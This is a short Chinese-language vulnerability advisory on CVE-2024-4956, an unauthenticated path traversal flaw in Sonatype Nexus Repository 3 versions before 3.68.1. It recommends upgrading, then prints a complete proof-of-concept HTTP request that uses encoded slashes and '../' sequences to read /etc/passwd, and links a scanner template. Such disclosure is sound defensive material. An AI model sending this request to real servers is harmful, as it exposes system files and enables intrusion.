Nexus Repository Manager 是一个仓库管理器,用于组织、存储和分发开发所需的工件。
在 Nexus Repository 3 的 3.68.1 之前的版本中发现了一个路径遍历漏洞。该漏洞允许攻击者构造一个 URL,无需任何认证即可下载 Nexus Repository 应用程序范围之外的系统文件。这带来了重大风险,因为它可能暴露敏感的系统文件,并可能危及安装了 Nexus Repository 的环境的安全。
建议尽快将 Nexus Repository 更新到 3.68.1 或更高版本以缓解此漏洞。
有关该漏洞的更多信息和技术细节,请参考以下链接:
参考:
该漏洞影响 Sonatype Nexus Repository Manager 的 3.0 到 3.68.0 版本。
升级 Nexus Repository 是消除此漏洞的推荐方法。但对于无法立即升级的部署,有可用的即时缓解选项:
参考:
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
通过上述 PoC,可以看到 /etc/passwd 文件被访问:

(CVE-2024-4956.yaml) https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml